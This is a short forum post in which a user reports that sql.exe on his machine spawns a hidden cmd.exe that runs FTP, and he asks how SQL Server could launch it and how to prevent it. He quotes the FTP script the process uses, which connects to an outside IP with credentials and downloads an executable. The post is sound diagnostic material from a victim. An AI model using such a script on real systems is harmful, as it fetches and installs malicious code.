Hi,

Since I installed a firewall on my machine, it regularly
detects unexpected ftp sessions.

Thanks to a process explorer, I remarked that ftp is
launched from a (hidden) cmd.exe, itself lauched by
sql.exe (for your info, the ftp command line is : "ftp -n -
s:???.txt" where ???.txt is a textfile in \system32\ ).

What SQL subsystem is able to launch such a process? a
stored procedure? a trigger? (fyi, SQLAgent is not
running). How can I prevent this to occur?

Thank you for your help,

François

Note - contents of the textfile :

open 81.244.183.229 19470  
user itqavjflw itqavjflw  
get SCardClnt.exe  
quit